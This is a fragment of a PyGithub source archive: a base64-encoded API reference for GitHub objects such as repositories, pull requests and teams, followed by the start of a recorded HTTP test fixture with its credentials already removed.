AgKiBgcmVwb2A6IGBSZXBvc2l0b3J5YAoK\nTWVtYmVycwotLS0tLS0tCiogYGdldF9tZW1iZXJzKClgOiBpdGVyYXRvciBv\nZiBgTmFtZWRVc2VyYAoqIGBoYXNfaW5fbWVtYmVycyggbWVtYmVyIClgOiBi\nb29sCiAgICAqIGBtZW1iZXJgOiBgTmFtZWRVc2VyYAoqIGByZW1vdmVfZnJv\nbV9tZW1iZXJzKCBtZW1iZXIgKWAKICAgICogYG1lbWJlcmA6IGBOYW1lZFVz\nZXJgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIFtiaWxs\naW5nX2VtYWlsLCBibG9nLCBjb21wYW55LCBlbWFpbCwgbG9jYXRpb24sIG5h\nbWVdIClgCiAgICAqIGBiaWxsaW5nX2VtYWlsYDogc3RyaW5nCiAgICAqIGBi\nbG9nYDogc3RyaW5nCiAgICAqIGBjb21wYW55YDogc3RyaW5nCiAgICAqIGBl\nbWFpbGA6IHN0cmluZwogICAgKiBgbG9jYXRpb25gOiBzdHJpbmcKICAgICog\nYG5hbWVgOiBzdHJpbmcKClB1YmxpY19tZW1iZXJzCi0tLS0tLS0tLS0tLS0t\nCiogYGFkZF90b19wdWJsaWNfbWVtYmVycyggcHVibGljX21lbWJlciApYAog\nICAgKiBgcHVibGljX21lbWJlcmA6IGBOYW1lZFVzZXJgCiogYGdldF9wdWJs\naWNfbWVtYmVycygpYDogaXRlcmF0b3Igb2YgYE5hbWVkVXNlcmAKKiBgaGFz\nX2luX3B1YmxpY19tZW1iZXJzKCBwdWJsaWNfbWVtYmVyIClgOiBib29sCiAg\nICAqIGBwdWJsaWNfbWVtYmVyYDogYE5hbWVkVXNlcmAKKiBgcmVtb3ZlX2Zy\nb21fcHVibGljX21lbWJlcnMoIHB1YmxpY19tZW1iZXIgKWAKICAgICogYHB1\nYmxpY19tZW1iZXJgOiBgTmFtZWRVc2VyYAoKUmVwb3MKLS0tLS0KKiBgY3Jl\nYXRlX3JlcG8oIG5hbWUsIFtkZXNjcmlwdGlvbiwgaG9tZXBhZ2UsIHByaXZh\ndGUsIGhhc19pc3N1ZXMsIGhhc193aWtpLCBoYXNfZG93bmxvYWRzLCB0ZWFt\nX2lkXSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1lYDogc3RyaW5nCiAg\nICAqIGBkZXNjcmlwdGlvbmA6IHN0cmluZwogICAgKiBgaG9tZXBhZ2VgOiBz\ndHJpbmcKICAgICogYHByaXZhdGVgOiBib29sCiAgICAqIGBoYXNfaXNzdWVz\nYDogYm9vbAogICAgKiBgaGFzX3dpa2lgOiBib29sCiAgICAqIGBoYXNfZG93\nbmxvYWRzYDogYm9vbAogICAgKiBgdGVhbV9pZGA6IGBUZWFtYAoqIGBnZXRf\ncmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1lYDogc3Ry\naW5nCiogYGdldF9yZXBvcyggW3R5cGVdIClgOiBpdGVyYXRvciBvZiBgUmVw\nb3NpdG9yeWAKICAgICogYHR5cGVgOiBzdHJpbmcKClRlYW1zCi0tLS0tCiog\nYGNyZWF0ZV90ZWFtKCBuYW1lLCBbcmVwb19uYW1lcywgcGVybWlzc2lvbl0g\nKWA6IGBUZWFtYAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgcmVwb19u\nYW1lc2A6IGxpc3Qgb2YgYFJlcG9zaXRvcnlgCiAgICAqIGBwZXJtaXNzaW9u\nYDogc3RyaW5nCiogYGdldF90ZWFtKCBpZCApYDogYFRlYW1gCiAgICAqIGBp\nZGA6IGludGVnZXIKKiBgZ2V0X3RlYW1zKClgOiBpdGVyYXRvciBvZiBgVGVh\nbWAKCkNsYXNzIGBQZXJtaXNzaW9uc2AKPT09PT09PT09PT09PT09PT09PQoK\nQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFkbWluYDogYm9vbAoqIGBwdWxs\nYDogYm9vbAoqIGBwdXNoYDogYm9vbAoKQ2xhc3MgYFBsYW5gCj09PT09PT09\nPT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNvbGxhYm9yYXRvcnNg\nOiBpbnRlZ2VyCiogYG5hbWVgOiBzdHJpbmcKKiBgcHJpdmF0ZV9yZXBvc2A6\nIGludGVnZXIKKiBgc3BhY2VgOiBpbnRlZ2VyCgpDbGFzcyBgUHVsbFJlcXVl\nc3RgCj09PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0t\nLQoqIGBhZGRpdGlvbnNgOiBpbnRlZ2VyCiogYGJhc2VgOiBgUHVsbFJlcXVl\nc3RQYXJ0YAoqIGBib2R5YDogc3RyaW5nCiogYGNoYW5nZWRfZmlsZXNgOiBp\nbnRlZ2VyCiogYGNsb3NlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGNv\nbW1lbnRzYDogaW50ZWdlcgoqIGBjb21taXRzYDogaW50ZWdlcgoqIGBjcmVh\ndGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgZGVsZXRpb25zYDogaW50\nZWdlcgoqIGBkaWZmX3VybGA6IHN0cmluZwoqIGBoZWFkYDogYFB1bGxSZXF1\nZXN0UGFydGAKKiBgaHRtbF91cmxgOiBzdHJpbmcKKiBgaWRgOiBpbnRlZ2Vy\nCiogYGlzc3VlX3VybGA6IHN0cmluZwoqIGBtZXJnZWFibGVgOiBib29sCiog\nYG1lcmdlZGA6IGJvb2wKKiBgbWVyZ2VkX2F0YDogZGF0ZXRpbWUuZGF0ZXRp\nbWUKKiBgbWVyZ2VkX2J5YDogYE5hbWVkVXNlcmAKKiBgbnVtYmVyYDogaW50\nZWdlcgoqIGBwYXRjaF91cmxgOiBzdHJpbmcKKiBgcmV2aWV3X2NvbW1lbnRz\nYDogaW50ZWdlcgoqIGBzdGF0ZWA6IHN0cmluZwoqIGB0aXRsZWA6IHN0cmlu\nZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDog\nc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKQ29tbWVudHMKLS0tLS0t\nLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJvZHksIGNvbW1pdF9pZCwgcGF0aCwg\ncG9zaXRpb24gKWA6IGBQdWxsUmVxdWVzdENvbW1lbnRgCiAgICAqIGBib2R5\nYDogc3RyaW5nCiAgICAqIGBjb21taXRfaWRgOiBgQ29tbWl0YAogICAgKiBg\ncGF0aGA6IHN0cmluZwogICAgKiBgcG9zaXRpb25gOiBpbnRlZ2VyCiogYGdl\ndF9jb21tZW50KCBpZCApYDogYFB1bGxSZXF1ZXN0Q29tbWVudGAKICAgICog\nYGlkYDogaW50ZWdlcgoqIGBnZXRfY29tbWVudHMoKWA6IGl0ZXJhdG9yIG9m\nIGBQdWxsUmVxdWVzdENvbW1lbnRgCgpDb21taXRzCi0tLS0tLS0KKiBgZ2V0\nX2NvbW1pdHMoKWA6IGl0ZXJhdG9yIG9mIGBDb21taXRgCgpGaWxlcwotLS0t\nLQoqIGBnZXRfZmlsZXMoKWA6IGl0ZXJhdG9yIG9mIGBGaWxlYAoKTWVyZ2lu\nZwotLS0tLS0tCiogYGlzX21lcmdlZCgpYDogYm9vbAoqIGBtZXJnZSggW2Nv\nbW1pdF9tZXNzYWdlXSApYDogYFB1bGxSZXF1ZXN0TWVyZ2VTdGF0dXNgCiAg\nICAqIGBjb21taXRfbWVzc2FnZWA6IHN0cmluZwoKTW9kaWZpY2F0aW9uCi0t\nLS0tLS0tLS0tLQoqIGBlZGl0KCBbdGl0bGUsIGJvZHksIHN0YXRlXSApYAog\nICAgKiBgdGl0bGVgOiBzdHJpbmcKICAgICogYGJvZHlgOiBzdHJpbmcKICAg\nICogYHN0YXRlYDogc3RyaW5nCgpDbGFzcyBgUHVsbFJlcXVlc3RDb21tZW50\nYAo9PT09PT09PT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0t\nLS0tLS0tCiogYGJvZHlgOiBzdHJpbmcKKiBgY29tbWl0X2lkYDogc3RyaW5n\nCiogYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBpZGA6IGlu\ndGVnZXIKKiBgb3JpZ2luYWxfY29tbWl0X2lkYDogc3RyaW5nCiogYG9yaWdp\nbmFsX3Bvc2l0aW9uYDogaW50ZWdlcgoqIGBwYXRoYDogc3RyaW5nCiogYHBv\nc2l0aW9uYDogaW50ZWdlcgoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0\nZXRpbWUKKiBgdXJsYDogc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoK\nRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpNb2RpZmljYXRpb24K\nLS0tLS0tLS0tLS0tCiogYGVkaXQoIGJvZHkgKWAKICAgICogYGJvZHlgOiBz\ndHJpbmcKCkNsYXNzIGBQdWxsUmVxdWVzdE1lcmdlU3RhdHVzYAo9PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0t\nLQoqIGBtZXJnZWRgOiBib29sCiogYG1lc3NhZ2VgOiBzdHJpbmcKKiBgc2hh\nYDogc3RyaW5nCgpDbGFzcyBgUHVsbFJlcXVlc3RQYXJ0YAo9PT09PT09PT09\nPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGxhYmVs\nYDogc3RyaW5nCiogYHJlZmA6IHN0cmluZwoqIGByZXBvYDogYFJlcG9zaXRv\ncnlgCiogYHNoYWA6IHN0cmluZwoqIGB1c2VyYDogYE5hbWVkVXNlcmAKCkNs\nYXNzIGBSZXBvc2l0b3J5YAo9PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0\nZXMKLS0tLS0tLS0tLQoqIGBjbG9uZV91cmxgOiBzdHJpbmcKKiBgY3JlYXRl\nZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRlc2NyaXB0aW9uYDogc3Ry\naW5nCiogYGZvcmtgOiBib29sCiogYGZvcmtzYDogaW50ZWdlcgoqIGBmdWxs\nX25hbWVgOiBzdHJpbmcKKiBgZ2l0X3VybGA6IHN0cmluZwoqIGBoYXNfZG93\nbmxvYWRzYDogYm9vbAoqIGBoYXNfaXNzdWVzYDogYm9vbAoqIGBoYXNfd2lr\naWA6IGJvb2wKKiBgaG9tZXBhZ2VgOiBzdHJpbmcKKiBgaHRtbF91cmxgOiBz\ndHJpbmcKKiBgaWRgOiBpbnRlZ2VyCiogYGxhbmd1YWdlYDogc3RyaW5nCiog\nYG1hc3Rlcl9icmFuY2hgOiBzdHJpbmcKKiBgbmFtZWA6IHN0cmluZwoqIGBv\ncGVuX2lzc3Vlc2A6IGludGVnZXIKKiBgb3JnYW5pemF0aW9uYDogYE9yZ2Fu\naXphdGlvbmAKKiBgb3duZXJgOiBgTmFtZWRVc2VyYAoqIGBwYXJlbnRgOiBg\nUmVwb3NpdG9yeWAKKiBgcGVybWlzc2lvbnNgOiBgUGVybWlzc2lvbnNgCiog\nYHByaXZhdGVgOiBib29sCiogYHB1c2hlZF9hdGA6IGRhdGV0aW1lLmRhdGV0\naW1lCiogYHNpemVgOiBpbnRlZ2VyCiogYHNvdXJjZWA6IGBSZXBvc2l0b3J5\nYAoqIGBzc2hfdXJsYDogc3RyaW5nCiogYHN2bl91cmxgOiBzdHJpbmcKKiBg\ndXBkYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmlu\nZwoqIGB3YXRjaGVyc2A6IGludGVnZXIKCkRlbGV0aW9uCi0tLS0tLS0tCiog\nYGRlbGV0ZSgpYAoKQ29tcGFyaXNvbgotLS0tLS0tLS0tCiogYGNvbXBhcmUo\nIGJhc2UsIGhlYWQgKWA6IGBDb21wYXJpc29uYAogICAgKiBgYmFzZWA6IHN0\ncmluZwogICAgKiBgaGVhZGA6IHN0cmluZwoKQnJhbmNoZXMKLS0tLS0tLS0K\nKiBgZ2V0X2JyYW5jaGVzKClgOiBpdGVyYXRvciBvZiBgQnJhbmNoYAoKQ29s\nbGFib3JhdG9ycwotLS0tLS0tLS0tLS0tCiogYGFkZF90b19jb2xsYWJvcmF0\nb3JzKCBjb2xsYWJvcmF0b3IgKWAKICAgICogYGNvbGxhYm9yYXRvcmA6IGBO\nYW1lZFVzZXJgCiogYGdldF9jb2xsYWJvcmF0b3JzKClgOiBpdGVyYXRvciBv\nZiBgTmFtZWRVc2VyYAoqIGBoYXNfaW5fY29sbGFib3JhdG9ycyggY29sbGFi\nb3JhdG9yIClgOiBib29sCiAgICAqIGBjb2xsYWJvcmF0b3JgOiBgTmFtZWRV\nc2VyYAoqIGByZW1vdmVfZnJvbV9jb2xsYWJvcmF0b3JzKCBjb2xsYWJvcmF0\nb3IgKWAKICAgICogYGNvbGxhYm9yYXRvcmA6IGBOYW1lZFVzZXJgCgpDb21t\nZW50cwotLS0tLS0tLQoqIGBnZXRfY29tbWVudCggaWQgKWA6IGBDb21taXRD\nb21tZW50YAogICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF9jb21tZW50cygp\nYDogaXRlcmF0b3Igb2YgYENvbW1pdENvbW1lbnRgCgpDb21taXRzCi0tLS0t\nLS0KKiBgZ2V0X2NvbW1pdCggc2hhIClgOiBgQ29tbWl0YAogICAgKiBgc2hh\nYDogc3RyaW5nCiogYGdldF9jb21taXRzKCBbc2hhLCBwYXRoXSApYDogaXRl\ncmF0b3Igb2YgYENvbW1pdGAKICAgICogYHNoYWA6IHN0cmluZwogICAgKiBg\ncGF0aGA6IHN0cmluZwoKQ29udHJpYnV0b3JzCi0tLS0tLS0tLS0tLQoqIGBn\nZXRfY29udHJpYnV0b3JzKClgOiBpdGVyYXRvciBvZiBgTmFtZWRVc2VyYAoK\nRG93bmxvYWRzCi0tLS0tLS0tLQoqIGBjcmVhdGVfZG93bmxvYWQoIG5hbWUs\nIHNpemUsIFtkZXNjcmlwdGlvbiwgY29udGVudF90eXBlXSApYDogYERvd25s\nb2FkYAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgc2l6ZWA6IGludGVn\nZXIKICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiAgICAqIGBjb250ZW50\nX3R5cGVgOiBzdHJpbmcKKiBgZ2V0X2Rvd25sb2FkKCBpZCApYDogYERvd25s\nb2FkYAogICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF9kb3dubG9hZHMoKWA6\nIGl0ZXJhdG9yIG9mIGBEb3dubG9hZGAKCkV2ZW50cwotLS0tLS0KKiBgZ2V0\nX2V2ZW50cygpYDogaXRlcmF0b3Igb2YgYEV2ZW50YAoqIGBnZXRfbmV0d29y\na19ldmVudHMoKWA6IGl0ZXJhdG9yIG9mIGBFdmVudGAKCkZvcmtzCi0tLS0t\nCiogYGdldF9mb3JrcygpYDogaXRlcmF0b3Igb2YgYFJlcG9zaXRvcnlgCgpH\naXRfYmxvYnMKLS0tLS0tLS0tCiogYGNyZWF0ZV9naXRfYmxvYiggY29udGVu\ndCwgZW5jb2RpbmcgKWA6IGBHaXRCbG9iYAogICAgKiBgY29udGVudGA6IHN0\ncmluZwogICAgKiBgZW5jb2RpbmdgOiBzdHJpbmcKKiBgZ2V0X2dpdF9ibG9i\nKCBzaGEgKWA6IGBHaXRCbG9iYAogICAgKiBgc2hhYDogc3RyaW5nCgpHaXRf\nY29tbWl0cwotLS0tLS0tLS0tLQoqIGBjcmVhdGVfZ2l0X2NvbW1pdCggbWVz\nc2FnZSwgdHJlZSwgcGFyZW50cywgW2F1dGhvciwgY29tbWl0dGVyXSApYDog\nYEdpdENvbW1pdGAKICAgICogYG1lc3NhZ2VgOiBzdHJpbmcKICAgICogYHRy\nZWVgOiBgR2l0VHJlZWAKICAgICogYHBhcmVudHNgOiBsaXN0IG9mIGBHaXRD\nb21taXRgCiAgICAqIGBhdXRob3JgOiBgSW5wdXRHaXRBdXRob3JgCiAgICAq\nIGBjb21taXR0ZXJgOiBgSW5wdXRHaXRBdXRob3JgCiogYGdldF9naXRfY29t\nbWl0KCBzaGEgKWA6IGBHaXRDb21taXRgCiAgICAqIGBzaGFgOiBzdHJpbmcK\nCkdpdF9yZWZzCi0tLS0tLS0tCiogYGNyZWF0ZV9naXRfcmVmKCByZWYsIHNo\nYSApYDogYEdpdFJlZmAKICAgICogYHJlZmA6IHN0cmluZwogICAgKiBgc2hh\nYDogc3RyaW5nCiogYGdldF9naXRfcmVmKCByZWYgKWA6IGBHaXRSZWZgCiAg\nICAqIGByZWZgOiBzdHJpbmcKKiBgZ2V0X2dpdF9yZWZzKClgOiBpdGVyYXRv\nciBvZiBgR2l0UmVmYAoKR2l0X3RhZ3MKLS0tLS0tLS0KKiBgY3JlYXRlX2dp\ndF90YWcoIHRhZywgbWVzc2FnZSwgb2JqZWN0LCB0eXBlLCBbdGFnZ2VyXSAp\nYDogYEdpdFRhZ2AKICAgICogYHRhZ2A6IHN0cmluZwogICAgKiBgbWVzc2Fn\nZWA6IHN0cmluZwogICAgKiBgb2JqZWN0YDogc3RyaW5nCiAgICAqIGB0eXBl\nYDogc3RyaW5nCiAgICAqIGB0YWdnZXJgOiBgSW5wdXRHaXRBdXRob3JgCiog\nYGdldF9naXRfdGFnKCBzaGEgKWA6IGBHaXRUYWdgCiAgICAqIGBzaGFgOiBz\ndHJpbmcKCkdpdF90cmVlcwotLS0tLS0tLS0KKiBgY3JlYXRlX2dpdF90cmVl\nKCB0cmVlLCBbYmFzZV90cmVlXSApYDogYEdpdFRyZWVgCiAgICAqIGB0cmVl\nYDogbGlzdCBvZiBgSW5wdXRHaXRUcmVlRWxlbWVudGAKICAgICogYGJhc2Vf\ndHJlZWA6IGBHaXRUcmVlYAoqIGBnZXRfZ2l0X3RyZWUoIHNoYSwgW3JlY3Vy\nc2l2ZV0gKWA6IGBHaXRUcmVlYAogICAgKiBgc2hhYDogc3RyaW5nCiAgICAq\nIGByZWN1cnNpdmVgOiBib29sCgpIb29rcwotLS0tLQoqIGBjcmVhdGVfaG9v\nayggbmFtZSwgY29uZmlnLCBbZXZlbnRzLCBhY3RpdmVdIClgOiBgSG9va2AK\nICAgICogYG5hbWVgOiBzdHJpbmcKICAgICogYGNvbmZpZ2A6IGRpY3QKICAg\nICogYGV2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGBhY3RpdmVgOiBi\nb29sCiogYGdldF9ob29rKCBpZCApYDogYEhvb2tgCiAgICAqIGBpZGA6IGlu\ndGVnZXIKKiBgZ2V0X2hvb2tzKClgOiBpdGVyYXRvciBvZiBgSG9va2AKCklz\nc3VlcwotLS0tLS0KKiBgY3JlYXRlX2lzc3VlKCB0aXRsZSwgW2JvZHksIGFz\nc2lnbmVlLCBtaWxlc3RvbmUsIGxhYmVsc10gKWA6IGBJc3N1ZWAKICAgICog\nYHRpdGxlYDogc3RyaW5nCiAgICAqIGBib2R5YDogc3RyaW5nCiAgICAqIGBh\nc3NpZ25lZWA6IGBOYW1lZFVzZXJgCiAgICAqIGBtaWxlc3RvbmVgOiBgTWls\nZXN0b25lYAogICAgKiBgbGFiZWxzYDogbGlzdCBvZiBgTGFiZWxgCiogYGdl\ndF9pc3N1ZSggbnVtYmVyIClgOiBgSXNzdWVgCiAgICAqIGBudW1iZXJgOiBp\nbnRlZ2VyCiogYGdldF9pc3N1ZXMoIFttaWxlc3RvbmUsIHN0YXRlLCBhc3Np\nZ25lZSwgbWVudGlvbmVkLCBsYWJlbHMsIHNvcnQsIGRpcmVjdGlvbiwgc2lu\nY2VdIClgOiBpdGVyYXRvciBvZiBgSXNzdWVgCiAgICAqIGBtaWxlc3RvbmVg\nOiBgTWlsZXN0b25lYCBvciAibm9uZSIgb3IgIioiCiAgICAqIGBzdGF0ZWA6\nIHN0cmluZwogICAgKiBgYXNzaWduZWVgOiBgTmFtZWRVc2VyYCBvciAibm9u\nZSIgb3IgIioiCiAgICAqIGBtZW50aW9uZWRgOiBgTmFtZWRVc2VyYAogICAg\nKiBgbGFiZWxzYDogbGlzdCBvZiBgTGFiZWxgCiAgICAqIGBzb3J0YDogc3Ry\naW5nCiAgICAqIGBkaXJlY3Rpb25gOiBzdHJpbmcKICAgICogYHNpbmNlYDog\nZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgbGVnYWN5X3NlYXJjaF9pc3N1ZXMoIHN0\nYXRlLCBrZXl3b3JkIClgOiBpdGVyYXRvciBvZiBgSXNzdWVgCiAgICAqIGBz\ndGF0ZWA6ICJvcGVuIiBvciAiY2xvc2VkIgogICAgKiBga2V5d29yZGA6IHN0\ncmluZwoKSXNzdWVzX2V2ZW50cwotLS0tLS0tLS0tLS0tCiogYGdldF9pc3N1\nZXNfZXZlbnQoIGlkIClgOiBgSXNzdWVFdmVudGAKICAgICogYGlkYDogaW50\nZWdlcgoqIGBnZXRfaXNzdWVzX2V2ZW50cygpYDogaXRlcmF0b3Igb2YgYElz\nc3VlRXZlbnRgCgpLZXlzCi0tLS0KKiBgY3JlYXRlX2tleSggdGl0bGUsIGtl\neSApYDogYFJlcG9zaXRvcnlLZXlgCiAgICAqIGB0aXRsZWA6IHN0cmluZwog\nICAgKiBga2V5YDogc3RyaW5nCiogYGdldF9rZXkoIGlkIClgOiBgUmVwb3Np\ndG9yeUtleWAKICAgICogYGlkYDogaW50ZWdlcgoqIGBnZXRfa2V5cygpYDog\naXRlcmF0b3Igb2YgYFJlcG9zaXRvcnlLZXlgCgpMYWJlbHMKLS0tLS0tCiog\nYGNyZWF0ZV9sYWJlbCggbmFtZSwgY29sb3IgKWA6IGBMYWJlbGAKICAgICog\nYG5hbWVgOiBzdHJpbmcKICAgICogYGNvbG9yYDogc3RyaW5nCiogYGdldF9s\nYWJlbCggbmFtZSApYDogYExhYmVsYAogICAgKiBgbmFtZWA6IHN0cmluZwoq\nIGBnZXRfbGFiZWxzKClgOiBpdGVyYXRvciBvZiBgTGFiZWxgCgpMYW5ndWFn\nZXMKLS0tLS0tLS0tCiogYGdldF9sYW5ndWFnZXMoKWA6IGRpY3Qgb2Ygc3Ry\naW5nIHRvIGludGVnZXIKCk1pbGVzdG9uZXMKLS0tLS0tLS0tLQoqIGBjcmVh\ndGVfbWlsZXN0b25lKCB0aXRsZSwgW3N0YXRlLCBkZXNjcmlwdGlvbiwgZHVl\nX29uXSApYDogYE1pbGVzdG9uZWAKICAgICogYHRpdGxlYDogc3RyaW5nCiAg\nICAqIGBzdGF0ZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJp\nbmcKICAgICogYGR1ZV9vbmA6IGRhdGUKKiBgZ2V0X21pbGVzdG9uZSggbnVt\nYmVyIClgOiBgTWlsZXN0b25lYAogICAgKiBgbnVtYmVyYDogaW50ZWdlcgoq\nIGBnZXRfbWlsZXN0b25lcyggW3N0YXRlLCBzb3J0LCBkaXJlY3Rpb25dIClg\nOiBpdGVyYXRvciBvZiBgTWlsZXN0b25lYAogICAgKiBgc3RhdGVgOiBzdHJp\nbmcKICAgICogYHNvcnRgOiBzdHJpbmcKICAgICogYGRpcmVjdGlvbmA6IHN0\ncmluZwoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBuYW1l\nLCBbZGVzY3JpcHRpb24sIGhvbWVwYWdlLCBwdWJsaWMsIGhhc19pc3N1ZXMs\nIGhhc193aWtpLCBoYXNfZG93bmxvYWRzXSApYAogICAgKiBgbmFtZWA6IHN0\ncmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKICAgICogYGhvbWVw\nYWdlYDogc3RyaW5nCiAgICAqIGBwdWJsaWNgOiBib29sCiAgICAqIGBoYXNf\naXNzdWVzYDogYm9vbAogICAgKiBgaGFzX3dpa2lgOiBib29sCiAgICAqIGBo\nYXNfZG93bmxvYWRzYDogYm9vbAoKUHVsbHMKLS0tLS0KKiBgY3JlYXRlX3B1\nbGwoIDwgdGl0bGUsIGJvZHksIGJhc2UsIGhlYWQgPiBvciA8IGlzc3VlLCBi\nYXNlLCBoZWFkID4gKWA6IGBQdWxsUmVxdWVzdGAKICAgICogYHRpdGxlYDog\nc3RyaW5nCiAgICAqIGBib2R5YDogc3RyaW5nCiAgICAqIGBpc3N1ZWA6IGBJ\nc3N1ZWAKICAgICogYGJhc2VgOiBzdHJpbmcKICAgICogYGhlYWRgOiBzdHJp\nbmcKKiBgZ2V0X3B1bGwoIG51bWJlciApYDogYFB1bGxSZXF1ZXN0YAogICAg\nKiBgbnVtYmVyYDogaW50ZWdlcgoqIGBnZXRfcHVsbHMoIFtzdGF0ZV0gKWA6\nIGl0ZXJhdG9yIG9mIGBQdWxsUmVxdWVzdGAKICAgICogYHN0YXRlYDogc3Ry\naW5nCgpUYWdzCi0tLS0KKiBgZ2V0X3RhZ3MoKWA6IGl0ZXJhdG9yIG9mIGBU\nYWdgCgpUZWFtcwotLS0tLQoqIGBnZXRfdGVhbXMoKWA6IGl0ZXJhdG9yIG9m\nIGBUZWFtYAoKV2F0Y2hlcnMKLS0tLS0tLS0KKiBgZ2V0X3dhdGNoZXJzKClg\nOiBpdGVyYXRvciBvZiBgTmFtZWRVc2VyYAoKQ2xhc3MgYFJlcG9zaXRvcnlL\nZXlgCj09PT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0t\nLS0tCiogYGlkYDogaW50ZWdlcgoqIGBrZXlgOiBzdHJpbmcKKiBgdGl0bGVg\nOiBzdHJpbmcKKiBgdXJsYDogc3RyaW5nCiogYHZlcmlmaWVkYDogYm9vbAoK\nRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpNb2RpZmljYXRpb24K\nLS0tLS0tLS0tLS0tCiogYGVkaXQoIFt0aXRsZSwga2V5XSApYAogICAgKiBg\ndGl0bGVgOiBzdHJpbmcKICAgICogYGtleWA6IHN0cmluZwoKQ2xhc3MgYFRh\nZ2AKPT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBjb21t\naXRgOiBgQ29tbWl0YAoqIGBuYW1lYDogc3RyaW5nCiogYHRhcmJhbGxfdXJs\nYDogc3RyaW5nCiogYHppcGJhbGxfdXJsYDogc3RyaW5nCgpDbGFzcyBgVGVh\nbWAKPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgaWRg\nOiBpbnRlZ2VyCiogYG1lbWJlcnNfY291bnRgOiBpbnRlZ2VyCiogYG5hbWVg\nOiBzdHJpbmcKKiBgcGVybWlzc2lvbmA6IHN0cmluZwoqIGByZXBvc19jb3Vu\ndGA6IGludGVnZXIKKiBgdXJsYDogc3RyaW5nCgpEZWxldGlvbgotLS0tLS0t\nLQoqIGBkZWxldGUoKWAKCk1lbWJlcnMKLS0tLS0tLQoqIGBhZGRfdG9fbWVt\nYmVycyggbWVtYmVyIClgCiAgICAqIGBtZW1iZXJgOiBgTmFtZWRVc2VyYAoq\nIGBnZXRfbWVtYmVycygpYDogaXRlcmF0b3Igb2YgYE5hbWVkVXNlcmAKKiBg\naGFzX2luX21lbWJlcnMoIG1lbWJlciApYDogYm9vbAogICAgKiBgbWVtYmVy\nYDogYE5hbWVkVXNlcmAKKiBgcmVtb3ZlX2Zyb21fbWVtYmVycyggbWVtYmVy\nIClgCiAgICAqIGBtZW1iZXJgOiBgTmFtZWRVc2VyYAoKTW9kaWZpY2F0aW9u\nCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBuYW1lLCBbcGVybWlzc2lvbl0gKWAK\nICAgICogYG5hbWVgOiBzdHJpbmcKICAgICogYHBlcm1pc3Npb25gOiBzdHJp\nbmcKClJlcG9zCi0tLS0tCiogYGFkZF90b19yZXBvcyggcmVwbyApYAogICAg\nKiBgcmVwb2A6IGBSZXBvc2l0b3J5YAoqIGBnZXRfcmVwb3MoKWA6IGl0ZXJh\ndG9yIG9mIGBSZXBvc2l0b3J5YAoqIGBoYXNfaW5fcmVwb3MoIHJlcG8gKWA6\nIGJvb2wKICAgICogYHJlcG9gOiBgUmVwb3NpdG9yeWAKKiBgcmVtb3ZlX2Zy\nb21fcmVwb3MoIHJlcG8gKWAKICAgICogYHJlcG9gOiBgUmVwb3NpdG9yeWAK\nCkNsYXNzIGBVc2VyS2V5YAo9PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMK\nLS0tLS0tLS0tLQoqIGBpZGA6IGludGVnZXIKKiBga2V5YDogc3RyaW5nCiog\nYHRpdGxlYDogc3RyaW5nCiogYHVybGA6IHN0cmluZwoqIGB2ZXJpZmllZGA6\nIGJvb2wKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRlbGV0ZSgpYAoKTW9kaWZp\nY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbdGl0bGUsIGtleV0gKWAK\nICAgICogYHRpdGxlYDogc3RyaW5nCiAgICAqIGBrZXlgOiBzdHJpbmcK\n"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetContentsDir.txt0000644000175100001660000002622114756101563024674 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/contents/ {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '9998'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '01d096e6cfe28f8aea352e988c332cd3'), 